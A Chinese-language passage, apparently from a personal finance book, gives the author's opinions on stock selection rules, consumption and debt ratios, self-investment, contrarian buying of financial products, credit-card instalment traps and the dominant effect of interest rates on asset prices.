　　但我们还需要注意另一个事实：美国股市从上次金融危机之后已经走出了一轮巨大的牛市，道琼斯工业指数从 2009 年的底部到现在，已经上涨了大约 200%。与此同时，2017 年后，美国股市将面临两个巨大的压力：一个是美元预期的升息；另一个更重要的压力是美国大量婴儿潮时期出生的人到时将逐步进入退休的年龄，他们将开始不断地提取美国股市最重要的资金来源——养老金。由于这两大压力加上市场本身已经不再便宜的估值，我们预计美国股市从 2017 年起将有巨大的调整需求。而中国资产泡沫的破裂很可能成为触发美国股市调整的导火索（当然也可能反过来）。如果中美两大市场发生连锁反应，全球目前已经不便宜的资本市场和极其脆弱的经济都将受到重创就并不奇怪了。

十不买原则

　　1。财务不稳健的股票不买；

　　2。主业不明朗的股票不买；

　　3。管理不规范、不透明的股票不买；

　　4。行业前景不看好的股票不买；

　　5。亏损股票不买；

　　6。有问题的股票不买；

　　7。业绩大起大落的股票不买；

　　8。要重组的股票不买；

　　9。被股评人士评为黑马的股票不买；

　　10。凡是自己不了解的股票不买。

　　这十不买原则一定要记住，并且要严格遵守。在投资中遵守投资纪律是非常重要的一件事情。很多聪明人做不好股票，而许多不太聪明的人却做得很好，一个很重要的原因就是聪明人喜欢自作聪明，喜欢违反纪律，而不太聪明的人一般比较守规矩。投资纪律有很多，这只是你首先要遵守的一项纪律。

平衡的消费

　　讲到理财，大家更多想到的是如何赚钱，特别是如何用钱来赚钱。其实从大理财的角度来看，我们不仅要考虑如何赚钱，还要考虑如何花钱。甚至更本质地来说，理财就是讲如何花钱的，我们做的财务的所有安排都可以理解为如何科学地花钱。投资规划，可以理解为一种消费的延迟，即放弃目前的一个消费以期在未来获得一个更大的消费；养老规划，本质就是年轻的时候安排好老了以后的消费问题；税务规划，则是正确处理钱留着自己花还是交给国家统一来花的问题；孩子的教育规划则本质就是一个教育消费的问题；保险规划，则是平常付出一个合理的小额支出以应对未来可能出现的一个大额的支出的问题。

　　所以，所谓科学的理财，就是一个科学、合理、均衡的消费问题。这其中包含了现在消费和未来消费的合理安排问题、自己消费和家人消费的合理安排问题、衣食住行等生理上的消费和教育文化等心理消费的合理安排问题等方面。

　　消费本身没有绝对的对或错，其核心只在于是否合理。一个年薪百万的高级白领开一辆宝马是一个合理的消费，而月入两千的职场新人哪怕开一辆桑塔纳也是奢侈消费了。

　　由于在过去的几十年中，中国人的消费层次发生了多次质的改变，而中国人比较看重面子的特点使得我们看到很多不合理消费的现象：既有大量吃光用光的“月光族”，也有很多家财数千万月出几千元的“守财奴”。如何在“月光族”与“守财奴”之间找到平衡，是科学理财的重要内容。当然，每个人的消费方式和对未来的预期可以有不同，但一个平衡合理的消费结构应该是每个人都要思考的问题。下面我们给出一些合理消费的基本原则，供大家参考。

　　第一，结余比例是家庭财务分析中的一个常用比例。就是每年的结余占总收入的百分比。这个比例一般至少要达到 10%，也就是每年赚的钱至少要有十分之一留下来用于未来的消费。其实这个比例在不同的生命周期中也是不一样的。比如，在单身阶段这个比例就应当高一点，因为要积累，为今后成家做准备。结婚生育阶段，在哪里都要花钱，这时结余比例少一点，甚至出现暂时的赤字也不是绝对不可以的。而到了家庭稳定成长阶段，由于该花的、该置的都花了、置了，而孩子今后的大学教育以及自己的养老都是需要大量金钱准备的，这时家庭的结余比例又应该有所提高了。结余比例不仅要考虑下限，还应该有一个上限。这个上限一般是三分之二的样子。也就是说，除了特殊情况，一般人们的消费水平至少要达到其收入的三分之一以上，否则，可以认为是太抠门了。

　　第二，保险消费。这里指消费性保险支出，不算投资储蓄型保险，一般不要超过收入的 10%。

　　第三，住房消费不要超过收入的 40%，无论是租房的房租还是买房后的还贷款额度都不要超过当前收入的 40%。如果买房，适合的房产价格一般不要超过家庭年收入的 10 倍以上，这就是合理的居住消费的比例。现在都市里“房奴”现象的出现，固然与房价虚高有关，但更主要是由于人们不合理的消费观念导致的。在居住消费上人们还有一个非常不理性的地方是装修，我们常看到人们花太多的钱在装修上，号称要一步到位，似乎要住几十年。其实，装修绝不应该超过房价的十分之一。

　　第四，怎样的汽车消费才算是合理消费呢？我们的标准是不要购买超过 10 倍月收入的汽车。

　　第五，再苦也不能苦孩子，再穷也不能穷教育。这大概是最普遍的典型的不合理消费观。家庭消费在几代人之间的安排固然没有一定之规，但中国人普遍将家庭财务资源向孩子倾斜是不对的，对孩子本身的成长也不利。教育的支出也有一个合理性问题。我们应该将孩子的教育理解为是一种消费（而将孩子教育理解为投资的人难免会在孩子教育问题上出现心态的失衡）。那种倾其所有给孩子一个所谓好的教育是对生活的不负责任，不仅对自己和家人不负责任，还将所有的压力都转嫁到了孩子身上，这种失衡的生活状态必然导致失衡的心理状态，最后孩子也培养不好。

　　总之，消费是一个见仁见智的事情，没有一定之规。而且，根据每个人的家庭财富状况、未来收入的预期以及所处生命周期的不同，都可以也应该有不同的消费安排。但在所有的消费安排上，都应将平衡和合理作为基本的原则，因为我们的生活本身需要平衡。

投资自己与竹竿原理

　　个人家庭理财中有一个非常重要的内容是教育规划。而我们提到教育规划，通常想到的都是给孩子的教育安排。

　　家庭中其实有两类完全不同的教育安排：一类是为自身做的职业培训的安排计划，另一类是为孩子做的基础教育的安排。前者通常是为了自我修养和职业提升；而后者其实是作为一个现代人的基本需要。前者更像是投资，要考虑投入产出；后者更像是消费，是为了人的基本需要的必需支出。

　　国人非常重视给孩子的教育安排，而常常忽视自身的职业发展和培训，这其实反映了国人注重学历教育而忽视终身职业教育的特点。

　　而终身学习、终身教育将是现代社会的潮流和趋势。

　　如果广义地说获得收入的能力就是资产的话，那么人的工作技能就是一项重要的资产。提升这项资产收益能力的行为就可以叫作教育投资。

　　教育的一个基本的功能是对劳动力进行训练，从而提升劳动力的价值和竞争力。因此，一般来说一个人受到的教育和培训越多，其拥有的知识和技能也越丰富，则其劳动力价值越大，其通过劳动获得的收入也应当越多。

　　给孩子的教育安排，我认为应该作为一种家庭消费来考虑。孩子的教育安排主要是基础教育、大学教育以及大学后教育等，基本是以学历教育为主。而自身的教育培训则应该作为一项投资来考量，而且在大多数情况下，投资自己都是收益最高的一项投资。这是个人职业生涯规划的重要内容。

　　自身教育可以看作投资自己。而投资最本质的特征是以投资回报为考虑的基本点。既然是投资，当然主要考虑的就是投资回报和现金流的管理问题。这也是我们在自身进修学习的选择安排上主要应该考虑的要素。

　　工作选择与经济利益及个人满足感息息相关。工作是用来挣钱的，许多人终其一生根本不考虑自身的兴趣和发展机会，而是盲目找一份挣钱的工作。当然也有人是在真正选择并从事一项事业。他们的事业是对某种专业的奉献，这通常需要持续的培训和终身的学习，并明确职场前进的方向，对于这样考虑工作的人，其终身的回报常常是非常高的。

　　基于投资回报的考虑，在安排自身的培训教育的时候，就一定是以就业机会和事业发展为考虑原则。所以当我们在安排自身的培训教育的时候，培训教育的成本和收益是我们在决定从事一项事业或者决定接受一项职业培训前首先要考虑的内容，可以说是我们选择事业发展方向和教育培训的主要依据。培训教育的收益当然是指该培训带来的收入的增加。但不仅仅如此，还包括进行该培训获得的其他收益，比如更大的成就感、满足感、社会地位、别人的尊重和对社会的贡献等等。

　　我们都知道水桶理论：一个水桶能够盛的水的多少取决于其最短的一块板高低。而且这个理论常常用于企业管理：改善企业经营的重要方法是找到企业的弱点，然后改进。对企业管理来说也许这个理论是对的，但对于个人的教育投资来说，更适合的可能是另一个原理：竹竿原理——我们能够用竹竿够到的最大高度，取决于许多竹竿中最长的那根。

　　这个原理告诉我们，一个人提升自己能力的最佳办法，就要找到自己的强项，然后进一步强化它。

　　奥运赛场上获得鲜花和掌声最多的永远是冠军。冠军和亚军尽管只有一个名次之差，但他们的总收益的差距常常是几倍甚至几十倍、几百倍之巨。这也可以用竹竿原理来解释。从职业发展的角度来看，姚明就应该好好地练篮球而不是举重，丁俊晖就应该好好地练斯诺克而不是英语，聂卫平就应该好好地下围棋而不是打桥牌。而我们普通人在自己的职业规划上也应该发现自己的强项，然后在自己强的地方进一步发展，达到尽可能高的高度。

　　这个原理还进一步告诉我们：房价无论多么高，开发商的利润无论多么厚，我们也不应该自己去盖房。就像无论衣服多贵，我们也不应该都去自己种棉花、自己织布一样。

　　当然，也包括无论股市多火，也不要自己炒股，而应该买基金，让基金公司来帮你投资。

理财产品：收益差的卖得更快？

　　我们已经进入了理财的时代。理财时代的标志之一就是理财渠道和理财方式越来越多，理财产品也层出不穷、五花八门，让人眼花缭乱。于是，专业理财人员大行其道。面对日益复杂的金融环境和投资市场，普通百姓确实需要专业化的理财服务。

　　但那些所谓的专家给出的建议就对吗？

　　我有一客户，算是有钱人，是银行的贵宾客户，最近十分不解地跟我讲到一个现象：据统计，一些世界级的银行最近几年推出的理财产品竟然八成以上是亏损的。按道理说他们的水平不应该这么差啊？

　　其实，这一点不奇怪，很好理解。这不说明他们水平差，恰恰说明他们水平高。

　　产品出现亏损不能简单地怪银行，客户自身也有责任。应该说，问题出在银行和客户两个方面，是双方相互配合的结果。

　　我们知道，对银行经营的考核以及银行员工的收入并不与银行理财产品的收益挂钩，而是和银行产品的销售额挂钩的。所以，聪明的银行和银行的客户经理一定是只卖好销售的理财产品而不是卖最终收益好的理财产品。如果好销售的理财产品和最终收益好的理财产品是一致的话，也不会有问题。但遗憾的是，客户喜欢买的产品——当然也就是好销售的产品——恰恰是最终收益差的产品。于是，不可思议的事情——世界级的银行八成理财产品亏损——就发生了，而且频繁地发生了。

　　银行是非常理性的。解决银行的问题说容易也容易，说难也难。只要银行将发展的战略放远一点，对待客户不是杀鸡取卵，而是养鸡生蛋就行了。但银行的经营战略大都是要开疆拓土、争取份额、做大市值。何况市场永远够大，“鸡”杀了一批，还会有新的，这时，谁还会有耐心慢慢地养鸡生蛋呢？

　　不理性的是客户。他们为什么要买最终收益差的产品呢？因为，他们喜欢买预期收益好的产品，或者是看到了“赚钱效应”的产品。问题是看到了“赚钱效应”的产品常常是最终收益率低的产品。

　　打个比方，假设黄金在过去一年多时间里气势如虹，走出了一波波澜壮阔的牛市行情。于是，某银行就推出一款和黄金挂钩的产品，按照过往数据的分析（注意这是有高深的数学模型加上真实的市场数据做支撑的）该产品的预期收益将达到百分之多少多少，而老百姓也的确看到了黄金市场的赚钱效应，于是大家纷纷购买该产品，这款产品就成了一个典型的好卖的产品，但最终的收益会如何呢？统计来看，最终成为亏损的产品概率很高。因为，市场已经到了高点。

　　我有一个朋友做阳光私募。他的投资理念和人品我非常认同。但他做得非常痛苦。因为，当他看到市场变得很便宜，是好的投资时机的时候，常常融不到资金。而很容易融到资金的时候，拿到钱却又不敢投了，因为市场已经太贵。

　　我在给银行的客户经理讲课的时候，教过他们一种简单的投资方法。客户经理的工作就是卖各种投资理财产品，而且有指标，这些产品有时候好卖，有时候不好卖。我教他们的方法是如果一个产品很好卖就都卖出去，甚至如果你自己也有该类产品的话，就把它卖掉。如果碰到产品卖不出去的情况，那么，就自己掏钱来买，一来可以完成指标，二来这些卖不出去的产品常常会赚大钱。有人照此实践，效果甚佳。

　　现实中这样的例子俯拾皆是，几乎是屡试不爽。

　　写到这儿，标题所提出的问题的答案大家应该都知道了。

　　在别人贪婪时恐惧，在别人恐惧时贪婪，是投资至理。

　　这不仅可用在股市里，在更大视野的投资市场和产品的选择上同样适用。

　　你如果发现现在某个市场受到大家追捧，那就是该考虑离开的时候了。

　　你如果发现现在某个市场一片恐慌，那就是该考虑逐步建仓的时候了。

负债消费的原则

　　人赚钱总是要用的。

　　钱什么时间用、给谁用以及用在什么地方的不同安排，就决定了一个人的消费观。

　　有一个广为流传的故事，讲的是一个中国老太太和一个美国老太太在天堂入口处相遇。中国老太太说：“我攒了一辈子的钱，终于买了一套房子，还没有住几天就来这儿了。”美国老太太说：“我住了一辈子的房子，直到来这儿之前才刚还清全部贷款。”

　　这个故事在 20 世纪末成为引导中国人负债消费，特别是按揭贷款买房的经典故事。在这里，美国老太太是正面教育的典型。

　　还是这个故事，2008 年金融危机爆发的时候，很多人将这场危机归咎到美国人的消费方式上。美国老太太又成了反面教育的典型。

　　中国经济的一大难题是内需不足。为拉动内需，经济决策者尽管出招频频，但一直收效甚微。事实上，一个人的消费方式或消费习惯反映的是一个人深层次对人生和生活的态度和价值观，不会轻易改变。

　　今天我们先来讨论一种消费方式：负债消费。

　　中国家庭一般不太认同负债消费。其实，随着现代金融市场的发展，我们应该逐渐习惯并且学会负债消费。适度、合理、科学地负债消费不仅可以让我们提前享受到我们能力范围内的消费，还给我们的家庭财务安排提供了更多的手段。

　　贷款买房可以说是现代最普遍的负债消费。事实上，买一套房子是给我们今后几十年用的，当然就可以用我们今后几十年的收入来逐步偿还。这反映的是收入和消费的一致性。所以，贷款买房不是非理性消费，而恰恰是符合现代理财原理的合理消费。

　　当然，负债不仅要偿还本金，还要支付利息。过度的负债会压垮我们的家庭，因此我们倡导的是合理的负债消费。

　　合理的负债消费应当遵循以下几项原则：

　　第一，没有稳定的未来收入者不要负债消费。负债消费是提前将未来的收入做合理安排的行为。如果未来的收入不确定，当然也就不能提前将收入做安排。

　　第二，已经退休了就不要负债。退休意味着不再有劳动收入，只有一些退休金或保险金，一般来说，退休后的收入比起退休前来说要大幅减少。而且退休是一种生活状态，是一种已经完成了社会和家庭的责任，将生活的重担放下后的悠闲、轻松、无拘无束的生活状态。此时，如果还负有严格的法律责任的债务，将严重影响退休后的生活品质。因此，一般退休后不要再负债。引申来说，贷款购房的按揭期限应当安排到退休之前比较合适。

　　第三，负债支出应低于稳定的家庭收入的三分之一。所谓负债支出就是每月用于偿还债务的支出。这是保证负债压力不影响即期生活的重要准则，应该严格遵守。

　　第四，家庭的负债总额不应超过家庭的净资产。这也是家庭负债的一个重要的财务指标，不要轻易打破。

　　第五，也是最重要的一条，无论是现金消费还是负债消费，你购买的商品都应该是你真正需要的，也是你真正负担得起的。请记住，你买的“最贵”的商品是你不需要的商品，不管这个商品的价格有多便宜或打了几折。

　　从购物方式上可以很好地看出一个人的生活态度。从一个生活中的小细节中你可以看看你自己或你身边的人的消费观：两个女孩子逛街各买了一双鞋。甲女孩试好了鞋后，用原包装完整地将鞋重新包好，买下来，带回家，直到一个适合的场合才将其拿出来穿。乙女孩试好了鞋后，买下来，将旧鞋放进鞋盒，直接穿着新鞋继续逛街。读者诸君，如果你是女孩，你是甲还是乙？如果你是男孩，你喜欢哪种女孩？

　　告诉男性朋友一个秘密，如果你的女朋友是甲，那么恭喜你，你找了一个持家好手。如果你的女朋友是乙，也挺好，她是一个乐观开朗对未来充满信心的女孩，你和她在一起会很开心。唯一要注意的是今后你们结婚了，最好你自己做家庭的 CFO（首席财务官）。

被忽视的时间

　　时间，是一切事物存在的一个必不可少的维度。

　　在个人理财中，时间，也是一个极为重要、不可或缺的要素。

　　这源于三点。首先，理财的主体——人，本身就是一个过程，是时间的产物。从赤条条来到赤条条去，这中间长不过百年。从出生到长大再成熟再老去，就像时间的流淌，是单向的，永不回头。其次，理财的对象——钱本身的特征也与时间息息相关：一方面钱随着时间的流逝会渐渐融化——通货膨胀；另一方面钱随着时间的推移也可以生出钱来——钱的时间价值。再次，所有的投资行为，要获得收益都需要时间的孕育。

　　很遗憾，就是这么重要的一个要素，却常常受到理财者的忽视。比如，我们认为任何投资理财产品没有好坏之分只有适合不适合之别，你购买了不适合的产品，就称为错误投资。统计的结果告诉我们，投资者做的错误投资，80% 以上是因为忽视了时间这个要素。

　　所有理财产品都有一个时间的特征，而每个人在其生命的特定阶段对于财富的安排也都有一定的时间要求。合适的理财产品的选择不仅在风险特征、专业复杂性、收益性、可购买性等方面要配合购买者的特征，在时间上也一定要匹配。

　　比如，最近网上披露的一个典型的误导销售的例子就是：保险代理人将一个 10 年期的储蓄型保险推销给了一个 80 岁的老人。这个产品的风险特征倒非常符合这个老人，但时间配错了。

　　上面这个例子一般人一看就知道错了，也很少有人会犯这样的错误。但下面的例子的错误就不那么明显了，因此犯的人也很多。例子是这样的：一个小伙子谈了个对象，双方都很满意。女方答应了小伙子的求婚，婚期安排在明年的春节，但女方有一个要求，就是结婚前必须买好婚房。小伙子已经攒了 50 万元，这 50 万元刚好够首付，但目前都投在股市上。股市上的专家说今年下半年会有一波行情，于是小伙子想等下半年股市涨上来了以后再退出股市去买房，说不定那时房价在严厉的宏观调控政策下会更便宜。这样一进一出，差得就大了。看起来，这个如意算盘打得不错。

　　但这样做其实还是错了，而且就错在时间上。首先，结婚是人生大事，我们不应该为了投资而错过或影响到婚姻大事，这是理财的一个准则。在这个准则下，明年春节前买房就是一个必须要执行的安排。因此，小伙子在股市中的投资必须在明年春节前退出。现在离明年春节只有几个月了，也就意味着小伙子在股市中的投资资金在几个月之内必须退出。以股市投资看起来，今天进入明天就可以出来，但由于走势的不确定性，在理财上另一个准则是 1～2 年内必须要用的钱是不能做股市投资的。因此，这个小伙子的正确做法是在得知女方的意思以后，就应该立即着手从股市中退出资金，将退出的资金放到一些短期的投资产品，比如货币市场基金或银行短期理财产品上面。至于说下半年的股市行情或房价的调整，都只是市场的一种判断，做不得准的，不值得用婚姻做赌注。

　　最后，再讨论一个最近比较热的话题，就是收藏。近几年收藏市场风起云涌，各种收藏品暴涨的例子比比皆是，媒体对此也屡有报道。最近就有一些年轻的朋友问我是不是也应该做一些收藏的投资。大部分情况，我是给他们泼冷水的。不是我不看好收藏市场的未来走势，而是收藏投资不适合大部分年轻人。这中间的不匹配还是发生在时间这个问题上。

　　年轻人在他们生命的这个阶段有太多要花钱的地方：进修、创业、工作变动、结婚、生子、购房、购车、换大房……因此，年轻人的钱基本都是短期的钱，一般不会有大量长期不用的闲钱。而投资收藏的钱恰恰应该是长期不用，甚至是永远不用的闲钱才适合。

　　收藏界有一个说法：收藏应该是最后进门的东西——在事业、房子、车子、老婆、孩子都安排好了，这时又有钱了，就可以考虑买一点收藏品了。

其他

　　讲到通货膨胀，很多人都会想到黄金，并且认为黄金可以对抗通货膨胀。这是一个典型的理财误区。事实上，黄金是不能对抗通货膨胀的。市场流行一个著名的段子：民国的时候，五两黄金可以买到十亩地或一个四合院，而现在同样的黄金连四合院的厕所都买不到——这是实情，也很好地说明了黄金不能对抗通货膨胀。因其便于携带性和国际通用性，只有在出现恶性通货膨胀的时候，黄金才可以成为不错的避险资产。

　　除了上述的几个实物类资产可以很好地对抗通胀外，我还特别向大家推荐两个“另类”的投资：

　　一个是投资自己。提升自己赚钱的能力，有了赚钱能力，通货膨胀越高，你赚得就会越多，这是最好的抗通胀手段，而且受用终身。

　　另一个是尽量持有“负货币”，也就是向银行借贷，存得越多越亏，当然贷得越多就越赚了。

　　一个人的幸福指数无疑与其所拥有的一切成正比，同时还与其自身的欲望成反比。

　　用一个公式来表达就是：幸福指数=拥有/欲望。

　　这个公式可以很好地解释上述现象。一个人的幸福感之所以常常来自于与周围人生活状况的比较，是因为人的欲望常常就是在与周围人的比较中确定的。也就是同一类人的欲望常常趋于一致，在这类人中拥有财富相对多的人，当然幸福指数就高一些。

　　很多人在个人理财活动中喜欢做一些诸如炒股票、炒期货、炒外汇、炒黄金等活动，并认为这就是投资理财。但从理财师的角度来说，我们反对以买卖差价为收益方式的所谓“投资”行为。因为以买卖差价为收益方式的投资行为，所有参与者的收益总和是零——这也就是所谓的零和游戏——而这还只是理论上的零和，实际上因为有交易成本，所有的这类投资活动总体来说都是负收益的。而且，炒股的成本不仅是买卖股票的各种税费，还包括了资金的利息成本、个人的精力成本、心理的负担成本等各个方面。

　　巴菲特总结其投资长期制胜的法宝：远离市场。

　　前段时间忽然看到一组有关女人和金钱的统计数据，虽然是美国的数据，但是对国人也有相当的借鉴意义。

　　50 岁以上的女人中有 47% 是单身（意味着她们必须在经济上支撑自己）。

　　女人退休后收入比男人低（女人工作时间比男人短，一般是照顾家庭的主力），且在职期间薪资较低。

　　50% 的婚姻以离婚收场（离婚后孩子一般由女性抚养）。

　　离婚后第一年，女性的生活水平平均下降 73%。

　　到 2000 年为止，女人的平均寿命比男人长 7～10 年，这意味着女人必须多承担这么多年的生活负担。

　　老年贫困人口中，3/4 为女性，其中 80% 的女人在丈夫在世时并不贫穷。

　　90% 的女人在一生中必须独自承担自己的经济压力，但 79% 的女人并无此准备。

　　只有 20% 的女性退休后有足够的经济保障。

　　女人其实是非常擅长管理财富的。从数据上说，女性的投资收益比男性高 1.4%（加州大学的研究数据）；从优势上讲，女人不自负，愿意学习知识，愿意寻求帮助，能潜心做功课，并且更善于规避风险。

　　看看我们真实世界的情况。

　　美国是这个星球上最大的债务国，同时也是最强大、最富裕的国家。如果你认为负债是只图一时快乐而不能持久的话，事实告诉我们的是：美国在 200 多年前立国之初就负债累累，甚至可以说是靠负债立国的（美国是靠借债打赢了独立战争），但今天我们看到的还是一个富裕强大的美国。如果说美国是一个特例，那我们将视野再放大一点：400 年前世界上的国家可以分为两组，一组国库充盈，另一组负债累累。400 年后怎样呢？曾经国库充盈的国家现在基本上都是发展中国家（如中国、印度、土耳其等），而曾经负债累累的国家目前却都是富裕的国家（如英国、法国、西班牙、荷兰、意大利等）。

　　回到我们自己身边来看，曾经既无内债也无外债的中国，当时恰好是中国人生活极度清贫、经济处于崩溃边缘的时候。改革开放以后，从既无内债也无外债，到 2015 年年底全社会负债总额达到 168 万亿的水平，仅政府负债到 2016 年年底就将达 30 万亿元的水平，我们看到的是随着我们的债务越来越多，我们的经济也越来越强，人民的生活水平也越来越高。

　　21 世纪以来的十几年，可以说是中国人财富增长最快的十几年，而正是在这十几年中，中国人终于开始学会向银行借钱了，而不是只会借钱给银行（存钱）。

　　银行本身也是一个很好的例子：银行向来被认为是最安全、最能赚钱的企业，而它恰恰也是负债率最高的企业。

　　你还可以自己做一个实验：把你认识的人按富裕程度分成五组。然后，再统计每组负债率的情况，几乎可以肯定，你将发现负债率与富裕程度是成正比关系的。

　　我常说，如何区分一个人是穷人还是富人呢？看他吃什么、穿什么，甚至用什么手机、开什么车都不准。只要看他去银行做什么就清楚了。穷人到银行主要是借钱给银行（存钱），而富人到银行主要是找银行借钱（贷款）。

　　当然，债务确实是双刃剑，有正面作用，也有负面作用。负债在让你获得资源的同时，也需要你为此付出成本。同时，负债也是导致破产的根源。所以，债务本身并无好坏之分，关键在于合理运用，就像一把双刃剑，用得不好会让你受伤，但用得好，债务就是你获得财务成功的必备武器。

　　所以，对待债务要正确认识，合理运用，科学管理，而不是简单地回避。

　　对待债务，中外差别很大。我在国外做理财顾问的时候，客户经常出现的问题是债务过多，我常常要叫客户注意控制债务，甚至常常要帮他们处理债务问题。但国人的问题是厌恶债务，不敢负债。所以面对中国客户，我做得最多的建议是：可以适当增加一些债务；应该尽量使用贷款买房，即使你现在有足够的钱全额付款；尽量使用更长期的贷款期限……

　　如果中国未来还能够保持目前的中速发展，而财富的分配也能够更向老百姓倾斜，平均来说，我们的收入可以以每年 6% 的速度增长。那么 35 年后——一个现在 30 岁的白领要退休的时间——他需要多少钱退休呢？那要看他对生活的追求了，如果他对目前一个拥有 300 万元退休金的人的退休生活很满意的话，到那时他需要有 2400 万元才能够获得现在一个拥有 300 万元退休金的人的生活满意度。假如那时他拥有的养老金少于 2400 万元，那他对退休生活的满意度将低于目前拥有 300 万元退休金的人，尽管那时他的实际生活水平要远高于目前拥有 300 万元退休金的人。

　　这告诉我们，高速的经济发展和不断提升的生活水平并不能保证我们有幸福的生活，反而会带来更大的生活压力。

　　幸福不是物质的东西，从物质中是找不到幸福的，幸福本就是一个心灵的感受，要想获得幸福，只有从心灵中去寻找。

　　信用卡分期付款对于消费者来说是“馅饼”还是“陷阱”，不能一概而论。

　　有些分期付款活动的确是金融机构或供货商家为了更好地服务客户，同时也是为了促销的目的，由他们承担了延迟付款的利息，让消费者获得了真正的优惠。对于这样的事情，消费者可以安心享用，甚至要积极寻找这样的机会，就像我们寻找打折的机会一样。但有些分期付款购物方式其实暗藏了很多陷阱，消费者也应当明察。

　　我们这里罗列了一些相关的常见“陷阱”，供读者参考。

　　1。先提价再分期。例如市民张先生收到一封银行寄来的名为“邮购分享精彩”的宣传册。宣传册上有很多款最流行的手机，张先生打算从上面购买一款。上面注明手机的市场价格 3799 元，而通过邮购只需要 3199 元，还能分 12 期支付，每期只需要 266.59 元，宣传册的最顶端还标明“零首付”“零利息”。但是没过几天，张先生发现自己通过邮购分期付款购买的这款手机，在手机官方网站的销售价格也仅为 3159 元。

　　2。分期付款要收取高额的手续费，甚至保险费。比如信用卡消费分期付款，持卡人刷卡消费之后，需要每期缴纳一定数额的手续费。按照持卡人选择的分期期限不同，手续费也不相同。分期期限越长，所需支付的手续费用越高。大多数银行月手续费率为商品总金额的 0.6%～0.7%——注意这是月利息！

　　对于预付费用的金融机构，为了控制风险，对于大额的贷款比如买房买车，它们还需要为这些商品购买保险，而购买保险的费用一般也是由消费者承担的。

　　3。很高的利息。分期付款购物合计支付的费用高于原来的单价并非不可接受，这相当于你找银行贷款的利息。但消费者要学会计算这个“利息”的高低。如果在银行存款利息的 3 倍以内，基本是合理的；如果达到 3 倍以上则要小心，不是万不得已，一般不要采用这样的购货方式。

　　总之，以分期付款的方式购买商品将越来越成为我们生活的一个部分。对此，我们既不要过于排斥，也要睁大眼睛防止“陷阱”。我倒是希望我们的生活中有更多的消费也能够有分期付款的方式，让我们能够支付超出我们目前支付能力而又非常重要的消费，比如看病、上学等。

　　我们的生产厂商之所以生产大量的假货、劣质货、以次充好的货色，其原因固然很多，但消费者需要这些东西也是重要原因。事实上，我们的消费者也的确喜欢这些劣质货。看看盗版光碟、盗版软件、盗版书籍、假冒名牌、山寨货等充斥我们的市场就知道了。在这些假冒伪劣产品充斥市场并被市场接受的情况下，在食品领域、医疗领域同样出现假冒伪劣的产品，又有什么奇怪的呢？

　　金融机构推出的很多理财产品似乎绩效并不好，还常常出现亏损。原因在谁呢？是我们的金融机构水平太次，还是道德太差？我的分析是：是消费者喜欢绩效差的、容易出现亏损的产品，所以金融机构（金融产品的供应商）就提供了这些产品。这看起来好像不可思议，但举一个例子就很容易明白了：2007 年下半年股市到了 5000 多点的时候，其实不应该进入股市，而应该购买一些固定收益的产品。但实际的结果是基金公司开发的货币市场基金、债券基金等稳定收益产品根本卖不出去，而股票基金可以在 10 分钟内销售 100 个亿。一年后股市跌到 1600 点的时候，其实这时最应该买的是股票基金，但这时股票基金恰恰根本卖不出去，能够卖出去的全是保本的固定收益产品。有一位基金经理就曾经非常无奈地告诉我：“在我觉得最容易挣钱、最安全的时候没有人愿意把钱给我来投资，但当市场走高到人们几乎不敢投资的时候，那些市场上涌进来的钱想推都推不掉。你让我怎么做？”

　　但遗憾的是，一方面，彩票的中奖概率远低于出交通意外的概率，另一方面，即使侥幸获得大奖的人，其中的大部分人也无法实现其期望的幸福过一生的博彩目的。且不说大奖可能带来的社会关系和家庭关系的变动和异化产生的不幸，仅就其财务状况来说，很多人也无法获得彻底改善。国外有过统计，中彩票大奖者一半以上在数年以后又会回到他们原来的生活状态，他们的生存状态并没有真正改善。这个统计结论其实也验证了我们的一个观点：一个人的财务状况是由其财富能力决定的，运气不能改变命运。

　　对资产价格影响最大的却是利率。一般来说，宏观经济景气与否或者税收政策对资产能够产生 20%～30% 的影响已经很大了，但利率升降对资产价格的影响却可能达到数倍。利率从 2% 升到 8%，理论上，资产的价值应该下降四分之三。

　　格林斯潘当美联储主席的时候，投资界有一个说法，格老是这个世界上影响力最大的人。而格老其实只有一个权力，就是制定美元的利率政策。事实上，次贷泡沫的产生，以及后来泡沫破裂导致次贷危机的真正原因，正是格老把美元的利率调下调上的结果。

　　所以，影响资产价格的关键在于利率。解铃还须系铃人，控制资产泡沫的关键也在于利率。

　　20 世纪 90 年代初，我国也出现过资产泡沫，房价涨得很厉害。当时中国经济掌门人朱镕基靠什么调控的？很简单，他从没用过一次多少部委联合发文这种花拳绣腿，而是直接将银行利率调到 10% 以上，房价应声而落。

　　比较 20 世纪 90 年代 12% 的利率，到了 21 世纪，我们的利率又降到了大约 2% 的水平。所以按照我们的公式计算，哪怕其他因素（居民收入的提高、房产品质的提高、货币的大量发行）不变，房产价值本身也要提升到原来的 6 倍。所以 21 世纪以来中国房产价格的上升是符合经济规律的。

　　所以，在我们老百姓的个人理财中，要做的就是眼睛紧盯着利率。

　　21 世纪以来，我国一直处于低利率状态。这基本就决定了中国财富的走势——一路高歌猛进。而这十几年中个人财富增长快慢和个人负债水平成正比，除了因为负债其实就是加了杠杆让理财更加积极进取外，更重要的是，这十几年里我们负债的成本太低了。

　　过去，我常常告诉客户：在中国获得财富成功的关键在于要拥有产权而不要拥有债权。也就是有了钱，要将其变成资产（股票、房产、私募股权等），而不应该借给别人（比如存钱、买债券就是将钱借给了银行和债券发行人），其根本原因还在于我们的利率太低了。

　　利率高低的分水岭是多少？大约就在 4%～5% 的水平。利率在 4% 以下，我们前面介绍的很多理财原则都可以继续实行。利率到了这个水平之上了，就要小心了。

　　事实上，21 世纪前十几年只有 2007 年的利率调升到 4% 以上，而且在 2008 年又迅速地调下来了。回头看看，我们确实应该一直持有资产直到 2007 年下半年将其卖出，并且在 2008 年年底再将其买回来。

　　投资理财的人都很关心国家的宏观经济政策。而国家的宏观经济政策和手段也非常多，但要说最直接、威力最大的政策，核武器级别的政策就是调整基准利率。

